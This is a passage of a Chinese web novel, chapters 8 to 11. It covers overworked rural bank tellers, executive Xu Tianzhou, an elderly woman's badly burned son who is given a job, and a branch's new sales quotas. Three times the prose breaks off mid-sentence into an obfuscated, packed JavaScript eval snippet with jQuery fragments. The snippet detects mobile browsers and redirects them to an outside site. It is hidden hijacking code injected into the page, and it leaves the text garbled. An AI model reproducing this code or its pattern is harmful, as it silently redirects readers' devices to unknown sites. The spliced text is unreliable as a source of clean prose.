钱丽娜轻笑一下,又补了一刀,“你再看看星期几?” “星期……天哪!”荣晓丹两眼一黑,继续哀嚎。 她转头看到倪真真,立即扑上去撒娇,“真真啊,你说我的命怎么这么苦啊,我都不想活了!” 倪真真笑着拍了拍她的背,柔声道:“哪儿有那么夸张……” 8. 第 8 章 荣晓丹确实有些夸张。 在钱丽娜看来,今天虽然会忙一些,但还不至于像荣晓丹那样寻死觅活。 不过也难怪,荣晓丹业务水平实在一般,别人一天就能学会的东西,她到现在还是似懂非懂。 柜员来来回回也就那么几种常见业务,她有一半业务连一知半解也算不上,每次都要问人,另一半业务虽然不用问人,可总是出错,长短款更是常有的事。 要是在平常也就算了,大不了慢一点,可是遇上这种日子,那就只能自求多福了。 “不就是发个养老金吗?看把你吓得。”倪真真目光温婉,眉眼上带着浅浅的笑,“其实听他们相互调侃还挺有意思的。” 不是有句话叫“刮风减半下雨全完”吗?可惜这句话并不适用于他们网点,只要到了每个月的15号,别说下雨,就算是下刀子,网点里也会挤满了人。 因为这天是发养老金的日子。 每到这一天,无数老头老太太会从四面八方赶来,聚在银行大堂里聊天。倪真真偶然听过几句,这个说什么时候吃你的大锅饭?那个说你存这么多钱舍不得花,是不是要带进棺材里? 想到他们见一面少一面,倪真真多少有些伤感,“老年人没事做,能来这里聚一聚也是好的。” 钱丽娜一点也不觉得好,她只觉得烦。 钱丽娜在进银行之前从没想过柜员的工作会这么忙。现在的人,不是电子支付就是手机银行,谁还去网点办业务? 直到她进了银行,确切地说,是因为没关系没背景被分到乡镇网点后,她才算开了眼。 每天来银行的人里百分之八十是老年人,这些人没有智能手机,又极度排斥银行卡和柜员机,他们金融知识匮乏,要么听不懂你说什么,要么压根听不见,害得她总要扯着嗓子说上好几遍。 更烦的是,也不知道他们是怎么想的,总要在第一时间把养老金取走,好像晚一会儿就会被银行的人偷走似的。特别是一个老头,每次取钱都要精确到分数,取走后回家数一遍再存回来,真是让人不胜其烦。 除此之外还有记性不好的,刚改完密码就忘;补办存折的,一个月补上七八次;至于那些贪小便宜的,喜欢碰瓷的,一言不合就撒泼打滚的……反正没几个正常的。 荣晓丹哀叹一声,说:“今天还是赶集的日子。” 有一群老头老太已经够让人烦了,要是再撞上赶集,那真是没法过了。 收摊时间一过,小商小贩们会带着大包五毛一块的零钞过来存钱,其中相当一部分需要人工清点。 其实累一点也没什么,关键是那些钱特别脏,弄得整个网点都是奇怪的味道,最夸张的一次,钱丽娜居然眼睁睁看着鱼鳞从正在过点钞机的钞票里飞了出来! 不过今天应该会好一点。 倪真真也说:“这么大的雨,应该没什么人赶集。”她又安慰了荣晓丹几句,声音软软的,又因为有着不容忽视的坚定而让人感到心安,“放心吧,有我呢。” 外面大雨如注,里面却像是雨过天晴了,刚刚还哭丧着脸的荣晓丹总算露出一点笑意,“真真,你真是太好了。” 另一边,钱丽娜把柜子锁上,无声地撇了撇嘴。 说实话,她可做不到像倪真真那样云淡风轻。她在心里祈祷,千万别被荣晓丹拖累。 钱丽娜猜得没错,九点一到,客户们便涌了进来。 雨太大,大家都有些狼狈,这个说那个收伞的时候弄了自己一身水,那个说这个插队,大家互相指责完又对着银行的人一顿骂,什么下这么大雨也不早点开门…… 钱丽娜带着上坟的心情上了柜台,接待了第一个客户,说是第一个客户,其实玻璃上堆着五六七八张脸,各个虎视眈眈地盯着她,要不是有防弹玻璃挡着,估计会被他们撕了。 钱丽娜不理解,明明在柜员机上两分钟就能办完的业务,这些人非要到柜台来凑热闹,等的时间长了又开始骂人。什么你们银行的人都死啦,这么多窗口是摆设吗,你动作这么慢是不是看不起我,光拿钱不干事的玩意,我要投诉你…… 在以前,钱丽娜还会面红耳赤委屈得想哭,后来习惯了,不管外面的人骂得多难听,她都能充耳不闻,专心按照自己的节奏办业务。 笑话,办得快了别人也不会感谢你,反正都是你应该做的,可万一出了错,那可是要真金白银赔出去的。 好在大家都知道倪真真脾气好,只要遇上难缠的客人就会往倪真真那边带。 人一多,倪真真也着急,办业务办得飞快。 看着吧,不是她诅咒倪真真,这样下去早晚会出事。 好不容易到了中午,钱丽娜终于可以趁着吃饭的时间喘一口气,苏汶锦也在这时回到了58楼的会议室。 苏汶锦有事出去了一下,回来时发现许天洲不见了,倒是在桌子上留了一个餐盒——一盒手工包的饺子。 不用说,肯定是倪真真给许天洲的。 “凉的怎么吃。”苏汶锦眉头微蹙,随即吩咐秘书,“去热一下。” 不多一会儿,秘书回来了,她不只把饺子加热了,还把饺子放在一个白色平盘上,边角用小番茄和绿芥末做了点缀。 苏汶锦由衷称赞:“不错。” 职场中有三种人,一种是能力不行或是态度不好的,总是不能完成任务,一种是说多少做多少,再多做一点就要抱怨的,还有一种就是秘书这种,你让她把饺子加热一下,她不只加热了,还用心做了摆盘。 苏汶锦欣慰地想,不枉费他从一众等待去基层轮岗的管培生中看中了她,特意把她调到总裁办。 “你还会摆盘?”苏汶锦问。 “我请餐厅的师傅做的。” 苏汶锦点了点头,他刚要说什么,许天洲回来了。苏汶锦见他脸色不好,忙问他是不是出了什么事。 “别提了。”许天洲拉了椅子坐下,顺势解开西装扣子,眉宇间难掩疲惫,“有客人投诉到商场,新来的楼管非要叫店长过去,把我好一顿骂。” “什么?骂你?”苏汶锦惊讶之余又觉得有些好笑。 许天洲是信达集团的实际控制人,在公司里说一不二,最高决策层里有几个人五六十了,别管他们在外面如何盛气凌人,在许天洲面前一样要恭恭敬敬,半点不敢摆出长辈的姿态,他实在想象不出许天洲被别人教训的样子。 “其实也没什么,我以前……” “以前?”苏汶锦问。 许天洲突然不说话了,他把目光放在看了一半的规划书上,神情专注,就好像刚才那句话并不是他说的,一切只是苏汶锦的错觉。 许天洲不说了,苏汶锦也不敢追问。 已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735551|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了午饭时间,苏汶锦指了指桌子上的饺子,问:“你不吃吗?” 许天洲心里有事,着急把规划书看完,随口道:“你吃吧。” 有了这句话,苏汶锦也就不客气了。 窗外大雨倾盆,对面楼上的灯火像是天上的星星,遥远得看不真切。 过了一会儿,许天洲长出一口气,他把规划书放在一边,抬头时发现苏汶锦竟然在吃饺子。 许天洲蓦地一怔,心里有不好的预感,“这饺子是……” “是你带来的那份,我让秘书热了一下。”见许天洲依旧皱着眉,苏汶锦不免有些慌乱,“你刚刚说让我吃我才吃的。” “……”许天洲语塞。 刚才看到盘子里的饺子,许天洲还以为是苏汶锦准备的,现在发现自己那盒饺子不见了,才察觉到不对。 他猜到苏汶锦误会了,却又不知道该不该说出实情,半晌后才问了一个不痛不痒的问题,“好吃吗?” “好吃啊。”与许天洲的欲言又止形成鲜明对比的是,苏汶锦回答得十分干脆。 “……”一时间,许天洲不知道该说什么好。 见许天洲表情古怪,苏汶锦的心骤然一沉。 是不是出了什么事? 以前就算许天洲再讨厌倪真真,也不会像今天这样,不仅对她辛苦准备的食物兴趣缺缺,还用这样嫌弃又质疑的语气问他好不好吃。 苏汶锦当然想不到饺子的真实来历,许天洲却是知道的。 老奶奶家里的样子再次浮现在眼前,许天洲拿起筷子,勉强吃了一个。 这一吃果然发现不对。 许天洲赶忙抽了一张纸,把嘴里的东西吐在上面。 很意外,在那一瞬间,许天洲的第一反应居然不是愤怒,而是欣喜,他想立刻向倪真真告状,连怎么说都想好了。 都是你,不让我扔,结果…… “怎么了?”苏汶锦问。 许天洲盯着手上的东西不说话,苏汶锦凑过去看了看,接着惊呼一声,“是花生,真是个好兆头,看来制造基地一定能顺利开工。” 那一刻,许天洲第一次感到身心俱疲。 他把花生握在手里,问了苏汶锦一个问题:“你会给乞丐钱吗?” 许天洲语声平静,听不出他的用意,也察觉不到他的感情。他向来如此,总是能将激荡翻涌的心绪隐藏得滴水不漏。 “为什么要给?”苏汶锦反问,好像在说一件人人皆知的事情,“不都是骗人的吗?” “对,都是骗人的。”许天洲仰起头,他将另一只手攥成拳按着眉心,许久后,又说了一遍,“都是骗人的。” 午饭过后,许天洲回到米粉店。 那天,他一直在店里待到打烊。 店里的灯光关了一半,其他人已经走了,保洁阿姨正在打扫卫生。 难道是他错了? 不,许天洲不觉得自己有错。同样是一把年纪的人,保洁阿姨还在这里工作,何况老奶奶还有个儿子,不想着自力更生用劳动换钱,偏偏要去乞讨,这对那些辛苦劳动的人们公平吗? 想到这里,许天洲拿出手机,她刚要给倪真真打个电话,倪真真的电话倒来了。 她的声音闷闷的,破碎得像是刚刚哭过。 倪真真说:“你能过来一下吗?” 9. 第 9 章 那是一张永生难忘的脸。 有些地方的皮肤聚在一起,有些又因为过于光滑而反射出一片白光,两相结合再加上失去原本形状的眼廓,虽然她不应该这么想,但实在找不出比“恐怖”更为贴切的形容词。 更可怕的是,那人不只是脸上,脖子、手臂同样沟壑丛生,手指似乎还有残缺。 倪真真不是不知道这个时候应该如何表现才不会让对方感到不快。 可是她失败了。 男人眼中流露出的无措与“果然如此”的沮丧让她十分歉疚。 “我……”任何安慰的话都是那样苍白,没来由的道歉更像一种讽刺。 所幸老奶奶一家似乎早已习惯了这样的场面,并没有让这种尴尬的气氛延续下去。 老奶奶向她道歉:“对不住,吓着你了……” “没有。”倪真真在露出一个笑的同时鼻子一酸,有眼泪顺着脸颊滑落。 真是的,她不想哭的,可就是控制不住。 倪真真背过身去,好一会儿才平静了一些。她拿出手机,给许天洲打了一个电话,“你能过来一下吗?” 那张脸带给许天洲的冲击同样不小。 不用解释什么,只是一眼,原先那些止于嘲讽的问题便有了答案。 难怪老奶奶会去乞讨,难怪里面的人会拉着窗帘关上门,至于他为什么会沉迷游戏与虚拟世界作伴,也不是不能理解了。 许天洲什么也没有说,什么也没有问,而是怪倪真真在电话里语焉不详又带着哭腔,“还以为出了什么事,把我吓得半死。” 除此之外,许天洲没有显露出更多的情绪。 他向那人点头致意,然后转向老奶奶,态度轻松闲适,语调不疾不徐,“饺子很好吃,她还吃到了花生,是吧?” 许天洲向倪真真递去一个眼神。 来不及震惊于许天洲竟然把老奶奶的饺子吃了,而不是随手扔掉,倪真真立即反应过来,“是,特别好吃,看来要交好运了。” 她甜甜地笑着,好似春花烂漫。 其他人也笑了起来。 老奶奶欣慰道:“好吃就好,我这里还有,你们再拿点。” “好啊。”倪真真没有推辞,还向老奶奶的儿子解释,“这年头想要吃到手工包的饺子可不是一件容易的事。” “那倒是。” 两人第一次听到老奶奶的儿子说话,虽然只是几个字,却有着抚慰人心的力量。 说起来也有些讽刺,两个健全人反倒需要一个严重毁容的人抚慰。 拿了饺子,两人向老奶奶道别。 电梯门关上,刚才还欢欢喜喜的倪真真和许天洲不约而同地没了兴意。 一路上,倪真真抱着饺子,许天洲拿着倪真真的包,两个人谁都没有说话。 雨停了,地上湿漉漉的,路灯播撒下的白光好似一把碎钻。 倪真真始终低着头,“怎么会这样……” 昨天晚上,倪真真辗转难眠。原本担心老奶奶无家可归,事实证明老奶奶过得不错,可是她总觉得有什么不对的地方,老奶奶的儿子表现得太奇怪了,难道有什么难言之隐? 倪真真决心要弄清楚,这才在下班后找了过去,结果比她想象的还要令人震惊。 原来老奶奶的儿子看别人跑运输挣了钱,也想试一试。他不只把自己的积蓄投了进去,还找人借了钱,结果第一次出车就遇到严重车祸,全身烧伤,能捡回一条命已是不幸中的大幸。 这么多年,治疗费花出去两三百万,脸上的疤痕还是很明显。以至于老奶奶的儿子根本不敢出门。后来为了生计,他也想过找工作,别人一看他的样子就拒绝了。 虽然没有亲身经历,但倪真真可以想象到那种艰难。她越想越难过,止不住地小声抽泣。 “别哭了。”许天洲递去一张纸。 在相当长的一段时间里,许天洲总是抱怨命运的不公。 他出身寒微,日子虽然过得清苦,但周围的人都是差不多的境况,他又因为成绩好很得老师的关爱,也就不觉得有什么不好。 直到转学至国际学校,一切都变了。 他住在地下车库的事很快在学校传开了,那些仅剩的、对他身份的猜测也因此烟消云散。 “确实是特困生,你是没看到那个地方,啧啧,连厕所都没有……” 先前误以为他是某个大人物私生子的同学为此耿耿于怀,大骂许天洲是骗子。 亏得他到处和别人说自己的“发现”,让他们收敛一点,别轻易得罪许天洲,结果现在真相大白,连带自己也被狠狠嘲笑一番。 他为了挽回一点面子,在众目睽睽之下一把揪住许天洲的衣领,要不是别人拦着,他就把许天洲打了。 倪真真也知道了。 虽然她只字未提,但眼神里陡然增加了许多同情,让他很是反感。 谁知道这只是个开始。 一天晚上,他刚从电梯出来,远远看到车库门口站着一群人。 许天洲连忙跑过去,发现家里的东西被扔了出来,凌乱地堆了一地,母亲坐在当中,无助地大哭。 那些人态度很好,一遍又一遍地向她解释,“地下车库不能住人,这也是为你们好,快走吧。” 其实这已经不是他们一家第一次被赶出来,许天洲刚来时住在楼顶。 对,不是顶楼,是楼顶。 那是顶楼业主在楼顶上搭建的板房,许天洲后来才知道这属于“违建”。 板房冬冷夏热,四面透风。 某天晚上他刚睡着不久便被一个惊雷吓醒,雨滴落在屋顶,噼里啪啦响了一夜。 最可怕的还是大风天,那是直到现在都无法摆脱的恐惧。你永远不知道这阵风什么时候会停,当你好不容易松一口气的时候,更猛烈的风又来了。 那时候,许天洲总在担心冬天怎么过,不过冬天还没来,他们就被举报了,一家人只能另找住处。 其实他们家本不需要这么拮据,只是他读国际学校实在是太费钱了。 校方虽然免除了他的学费,其他开销还有不少,像什么校服费、餐费、考试费,只是这些也就算了,关键是还要留出出国留学的费用,所以他们只能尽力节省一点。 母亲做钟点工的雇主家听说他们没地方住,同意让他们住进自家的地下车库。 “他们让你入学已经很不好意思了,现在又提供了住的地方。” 许天洲有些担心:“我们住地下车库,他们家的车放哪儿?” 母亲失笑:“傻孩子,有钱人家怎么会只有一个车库?” 许天洲也在心里笑自己傻,难怪同学们会笑话他,他确实没见识。 也是在那时,许天洲真切感受到了他和同学之间的差距。 有钱人不只有一个车库,他们却连一个家都没有。 那天因为事发突然,一家人从地下车库搬出来后一时找不到住的地方,只能在父亲拉货的面包车上睡了一夜。 唯一庆幸的是那天天气不错,既没有刮风下雨,也不是酷暑严寒,可以说是这个城市最好的季节。 许天洲到现在还记得,那天晚上既有熟悉的虫鸣鸟叫,也有父亲的叹气和母亲的啜泣。 父母被逼得没办法,只能狠了狠心,在附近的村子里租了一个房子。 直到那时,他们一家才算过上了相对安稳日子。后来临近毕业,又有风声说要严查,幸好靴子没有落地,许天洲在那里住到毕业。 从转学到国际学校再到硕士毕业,许天洲这几年的生活称得上颠沛流离,然而尽管如此,他也不曾真的绝望过。 可是老奶奶的儿子呢,属于他的噩梦再也不会醒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735552|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 两人回到家,灯光亮起,破旧的小屋披上了一层暖色。 老房子隔音不好,一到晚上就乱糟糟的。 隔壁老人耳朵不好,电视开得震天响,以至于倪真真根本没有时间追剧,却知道最近一段时间电视台在放什么。 另一边是钢琴的声音,琴童还停留在《小星星》的阶段,时不时传出妈妈绝望的吼叫和小女孩的哭喊。 只有他们这里静悄悄的。 卧室里,倪真真脸上敷着面膜,手里拿着电熨斗熨行服,颇有几分小布尔乔亚的意思。 许天洲觉得好笑。 不是都说倪真真善良吗?在他看来也不过如此。 她那么担心别人的疾苦,怎么不见她真的当个菩萨去解决别人的实际困难? 到底是别人的人生,就像看一场意在消磨时间的电影,看了,哭了,灯光亮起时也就散了。 也许偶尔还会想起,然后在心里唏嘘一阵,可是对那些真正的受难者来说,又有什么用呢? 许天洲正想着,倪真真忽然低呼一声,“啊……”然后迅速跳开几步。 “怎么了?”许天洲立即把书扔在一边,关切地问。 倪真真叹气,“又漏水。”还好她躲得快,才没有被电熨斗漏出来的水烫到。 许天洲说:“你应该买个新的。” 倪真真又是一声叹息,“倒也没有到不能用的地步。” 几天后,信达集团的几位高管又聚在汇景中心58楼的会议室。 人已经到齐了,许天洲还没来。 苏汶锦双腿交叠,姿态闲适,西装领带一丝不苟,露出的腕表熠熠生辉。他把手机放在桌子上,向众人道:“许先生说可能要晚一点到。” 听说许天洲要晚点才能来,像是听到最害怕的考试推迟了,几个人情不自禁松了一口气。 原本紧张的气氛不见了,大家有一句没一句地开始闲聊。 此时秘书正在给苏汶锦倒水,碧绿的茶叶上下翻滚,清新的香气溢满了每一个角落。 随着杯子轻轻落下,苏汶锦的眼中多了几分不易琢磨的暗色。 “衣服不错。”苏汶锦幽幽开口,等秘书转过头时,他又补充了一句,“很配你。” 秘书微微一怔,心里只有一个想法。 他注意到了。 前些天苏汶锦突然叫住她,说她年纪不大,怎么每天穿得这么严肃。 秘书一时不知所措。 她喜欢粉色,上学时经常穿粉色的衣服,后来母亲说工作的人要稳重,所以才学着公司里的人买了适合通勤的衣服,连带着头发鞋包也不敢选得太过出挑,每天都是最安全的打扮。 没想到她居然会因为这个问题被上司说了一顿。 没过几天,秘书发现自己的工资里多了一笔钱,她问财务是不是算错了,财务说没错,“多的是置装费。” 秘书这才发觉苏汶锦不是随口说说。 既然苏汶锦要求了,她总要拿出点成绩,所以特意抽时间去商场买了衣服,又去做了头发。 其实她前几天就换了打扮,办公室的同事早就发现了,直到今天,苏汶锦才有所察觉。 因为苏汶锦的一句夸赞,其他人都往这边看,到底是女孩子,秘书脸皮薄,显得有些不好意思。 一位中年男人调侃道:“现在可不兴夸小姑娘漂亮,应该说聪明独立。” 另一人也说:“对,你这叫什么、什么凝视。” 财务负责人是一名女性,彼时正用电脑回邮件,听到那人的话抬起头,镜片后的眼睛隐隐透着鄙夷,明明是在提醒,却像是在故意强调什么,一字一顿,“是男性凝视。” “对,男性凝视。” 其他人都在不怀好意地笑着,唯独苏汶锦一脸无奈:“你们真当我是那种肤浅的人?” 10. 第 10 章 大家依旧窃笑。 苏汶锦只得用眼神指了指秘书,郑重其事,“U大本科,统计学硕士,‘信势力’综评A+。” “信势力”是信达集团的管培生计划,因为晋升快,所以入选门槛很高,招收人数只占当年校招生的10%。 能够入选管培生计划已属不易,而秘书不仅入选了,还在强手如云的“信势力”中拔得头筹,实力自然不容小觑。 这不,此言一出,众人果然对秘书多了几分敬重,还有人对她的本科学校萌生兴趣。 “U大?”那人思忖一阵,缓缓道,“那岂不是和许先生是校友?” 苏汶锦猛地一怔,好像颇为意外,接着后知后觉般感叹:“还真是,你不说我都没注意。” “那真是巧了。” 另一人也笑着恭维道:“苏总真是会选人。” 大家又聊了几句,忽然间脚步声响起,是许天洲来了。 众人立刻站起来,齐声道:“许先生早。” 许天洲略微点了点头,说:“坐吧。” 许天洲一向很重视高管会议,他并不直接参与公司运营,高管会算是他仅有的了解公司的渠道。 今天的许天洲开会晚到已经很奇怪了,更奇怪的是他的人虽然来了,心思却像是停在了别的地方,不只一直拿着手机回消息,脸上的表情也十分凝重。 苏汶锦忍不住问:“出什么事了吗?” “没有。” 许天洲头也没抬,眼睛依旧看着手机。 确实不是什么大事,尤其是对在座的人来说,更是不值一提。 米粉店来了新人。 餐饮业人员流动大,来新人是常有的事,不过这个人比较特别,因为他不是别人,正是老奶奶的儿子。 自从那天从老奶奶家回来后,两个人很是唏嘘难过了一阵,不过也只是在那天晚上,转过天后就像经历了一场暴雨,衣服干了也就过去了。 两个人默契的谁也没有再提这件事。 许天洲很是得意了一阵,为自己的眼光独到。别人或许会被倪真真骗了,他不会,他很早就看穿了倪真真的虚伪做作。 同情是最廉价的,有些人连同情都忘了。 许天洲特意在昨天晚上提了一嘴,“要是老奶奶的儿子有个工作就好了。”这样的话,他既能从烧伤中走出来,让生活步入正轨,老奶奶也不用那么辛苦。 倪真真转过头。 她刚在电脑上答完题。银行每个月有考试,100道选择题,80分通过,不通过的待岗学习。 她才点过提交,还来不及看一眼分数,用带着惊诧的眼睛看向许天洲,问:“你说什么?” 许天洲很有耐心地重复了一遍,“我说,要是老奶奶的儿子有个工作就好了。” 倪真真收回视线。 电脑屏幕上写着96分,代表月考通过了,但她并没有为此显露出半点喜悦。 许天洲毫不意外。 他将她的沉默解读为愧疚,和她的同情一样,来得快去得也快。 许天洲正要在心里狠狠将她嘲笑一番,没想到倪真真叹了口气,失魂落魄道:“我已经试过了。” 许天洲倍感惊异。 竟然是他错了。像是被挫败扼住了喉咙,有那么一瞬,他甚至感到无法呼吸。 果然还是他认识的那个倪真真。 原来这些天里,倪真真一直没有闲着,服务员、外卖员、快递员,只要在街上看到招工的,她都试过了,然而无一例外,一听到他的情况,那些人想也没想便拒绝了。还好她没有冒失到让老奶奶的儿子去试,不然又是一轮打击。 倪真真重新看向他,欲言又止,“所以我想……” “想什么?”许天洲挑眉,语调淡淡的,透着几分冰冷狠厉。 其实他已经猜到了。 许天洲刚想发火,转念一想又觉得也许是个好事,随即挑起唇角笑了笑,说:“我倒是有一个办法。” “什么?” “让他到米粉店工作。”这句话一出口,许天洲立即感到一丝畅快,好像宣布了一场战争的胜利。 他能想象到倪真真的反应,如释重负或是欢欣鼓舞,可是没有,她说:“我不想让你为难。” “没什么为难的,谁让我吃了老奶奶的饺子。”许天洲打开那本放在床头的书,一张倪真真的照片被他拿来当作书签,他找了一个舒服的姿势,漫不经心道,“你先问问他愿不愿意吧。” 结果当然是非常愿意。 今天早上,许天洲把老奶奶的儿子带到米粉店。 他领着他熟悉了一下环境,又把他安顿在后厨,还特意找了人带他。 “今天什么也不用做,看着就好。” 走之前,许天洲又叮嘱他不要出去,还好,紧随其后的话没有被他说出来。 这件事没有想象中的那么简单,他给店里的店员们发了信息,说过一遍后又觉得有遗漏,就这样一条一条地发过去,直到现在。 旁人见他心事重重的,一直拿着手机,也不敢打扰。 嘱咐得差不多了,许天洲把手机握在手里,冥想一阵后吐出一口气,接着将手机放在桌子。抬头间发现大家都在看着他,许天洲连忙欠了欠身,说了句抱歉,“开始吧。” 正式开始前,秘书送来一份文件。 秘书穿了一件鹅黄色的连衣裙,腰侧点缀着三层褶皱,更显妖娆曼妙。 苏汶锦说:“衣服不错,颜色也好。” 秘书觉得奇怪,差点以为时光倒流,苏汶锦刚刚才称赞过,怎么又来一遍? 秘书转头看去,苏汶锦却像失忆了一样,十分坦然地回望着她。 她想不明白其中的缘由,耳后的长发在弯腰的同时滑落至胸前,一时间暗香浮动。 是玫瑰的味道。 你可以刻意不看一个人,但是你不能用拒绝呼吸的形式拒绝一个人的香气。 苏汶锦在那如梦似幻的味道里转向许天洲,询问他的意见,“你觉得呢?” “嗯。”许天洲点头,“挺好。” 苏汶锦为之一振。 他是男人,所以才更了解男人,许天洲不可能是个例外。 苏汶锦刚要说什么,许天洲把文件放在桌子上,沉声道:“就这么办吧。” 他伸出手,秘书立刻递上笔,许天洲随即在空白处签上自己的名字。 拖了许久的事情终于有了实质性推进,所有人都长出一口气,苏汶锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735553|174084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却没有表现出应有的轻松。因为他很快反应过来,许天洲说的“挺好”是事办得挺好,而不是他想的那个“挺好”。 苏汶锦有些泄气。 他不愿放弃,然而这种情况又不好再提。 会议中,苏汶锦装得若无其事,其实一直在暗中寻找机会。只是任凭秘书在一众黑白灰中穿得最为扎眼,许天洲的目光自始至终没有在她身上有过半分停留。 会议结束,许天洲饭都没吃就回了米粉店,苏汶锦最后的希望也落空了。 错过这次机会,等下一次又不知是什么时候。 没想到机会很快来了。 这天早上,倪真真按时到了网点,晨会上,网点主任向大家宣布了一个消息,传了很久的全员营销终于落地了。 其实以前也会要求他们发卡、揽储,但并不强制,也不会作为考核指标。 现在不一样,“完不成任务的待岗学习,只发基本工资。” 银行那点儿基本工资连租房都不够,这不就是变相逼人辞职吗? 气氛变得尴尬,虽然没人抱怨什么,但脸上的表情已经说明了一切。 眼瞧着士气低落下去,网点主任给大家鼓劲,他故意拔高音调,用激情澎湃的语气说:“同事们,这是机会啊!守着那点死工资有什么用,现在不只给了你们一个赚大钱的机会,业绩突出的还能转岗客户经理。” 说到转岗,大家终于不再是一片愁云惨雾,钱丽娜更是精神振奋,跃跃欲试。她真是受够柜员这个岗位了,只要能转岗,让她做什么都愿意。 主任继续道:“来,一起给自己加油!” 又来了! 所有人在心里哀嚎。 主任大喊一声“好”,所有人鼓掌一声。 主任再喊“很好”,大家鼓掌两声。 主任喊出“非常好”,大家鼓掌三声,然后开始喊口号。 每到这时,钱丽娜都会觉得自己是不是误入了传销组织。 结果这还不算完,主任说上面摊派下来的任务只是最基本的,“我们要对自己有更高的要求,总不能让兄弟网点看不起我们吧?” 钱丽娜心想,是怕看不起你吧?毕竟一把年纪了,还是一个网点主任,要是再不能晋升,这辈子大概就这样了。 主任又说了一些鼓励的话,然后让大家报出这个月的目标。 “小荣,你先说。” “主任……”荣晓丹一脸为难。 主任鼓励地看着她,“没关系。” 荣晓丹只得报了一个数,主任立刻两眼放光,钱丽娜却吓得脸色惨白。 这个荣晓丹,总是乱说话,反正主任也知道她没那个能力,弄砸了也不觉得有什么,可是别人怎么办? 这不,主任转向钱丽娜,让她报个数,眼中的期许让她如坐针毡。 钱丽娜没办法,难道她还能不如荣晓丹? 她报完自己的目标后,倪真真也没有逃过,说了一个和两人差不多的数字。 所有人说完了,荣晓丹哭丧着脸说:“主任,我们要是完不成您可别怪我们。” 主任笑呵呵道:“没事,这不才第一个月吗,完不成还有下个月呢。” 此言一出,大家更绝望了。 11. 第 11 章 整整一天,钱丽娜不得不把服务重点放在营销上。 她计划得很好,遇见来存钱的,就多问一句要不要了解一下最近推出的理财,看见拿着车钥匙的,就问对方要不要办个ETC,要是碰到来开户的,那不好意思,开网银、开手机银行都是最基本的,要是能再绑定一个证券户,那就更好了。 钱丽娜想得不错,真正实施起来却困难重重。 原因很简单,来办业务的人不是穷得靠低保过活,就是连智能手机都没有,还有的人连字都不认识。 遇上这样的人,能顺利办完业务已属不易,还推销其他业务? 说真的,哪怕对方再有兴趣,她也懒得多说一句。 钱丽娜是真的怕了。 勤勤恳恳说上一大堆,对方一句“啥是信用卡”就足以把她打到谷底。 那一刻,她不只一句话都不想说,还特别想哭。 要不说人和人之间的差距大呢。 当初有不少同学和她一起考银行,有一个同学被分到设在某央企的网点,来办业务的都是央企员工。 那素质,那实力,什么理财、保险、纪念币,通通不在话下。 哪像她,在这么个小破地方,有车的人都没几个。 说实在的,ETC她是不指望了,除非哪天国家要求给三蹦子办ETC,她绝对能超额完成任务。 钱丽娜一边在心里唉声叹气,一边偷偷观察另外两个同事。 一旁的荣晓丹也没有好到哪儿去,她好像完全放弃了,这么半天一句营销的话没有说。 也是,手上的业务已经够她手忙脚乱,不知道什么时候就会出个错,哪里还顾得上其他。 三个人里,只有倪真真还在坚持。 她认真向每一位客户介绍银行的新业务,不厌其烦地回答对方提出的每一个问题,哪怕对方冷着脸甩出一句“不办”,她还是能像开始那样保持微笑。 钱丽娜忽然有些同情她。 倪真真像极了每个班里都有的那种同学,刻苦是真刻苦。 作业交得最齐,笔记做得最好,上课听得最认真,至于成绩,也是真的一般。 做那么多有什么用?如果不能有的放矢把功夫用在对的地方,到头来除了感动自己,什么都不会留下。 钱丽娜还想着要不要提点倪真真一下,转念间,她又觉得倪真真未必不知道。 也许她只是做给网点主任看的,这样的话,就算完不成任务,主任也不会怪她。 想到这里,钱丽娜禁不住出了一身冷汗。 要不说职场如战场,差一点就被骗了。 虽然营销任务重得让人喘不过气,但钱丽娜还是有一件值得高兴的事,那就是她毫不客气地给“男友”加了一个“前”字。 她终于和男朋友分手了! 前男友是她的大学同学,两个人相识于同乡会。 临近毕业,前男友打算回老家,还问钱丽娜的父母有没有给她准备好,“我家里已经买好了车房,工作也安排好了,事业单位有编制,到手这个数。” 钱丽娜在心里翻了个白眼。 她从来这里的第一天起,就没想过要回去。 “回去?回去有话剧吗?有展览吗?有顶尖医院吗?有国际航线吗?” 果然,前男友被她问的哑口无言。 “那、那些和你有关系吗?”前男友憋了半天吐出一句。 钱丽娜懒得和他多说。 后来,前男友回了老家,过上了父母安排好的日子,钱丽娜则选择到银行工作。 两个人虽然没有明确说过分手,但也和分手差不了多少。 他们就这样谈了一段时间“异地恋”,直到昨天,前男友突然问她能不能回来,“再不回来就分手。” “那就分手吧。” 钱丽娜没有半分犹豫。 她一定能找到更好的。 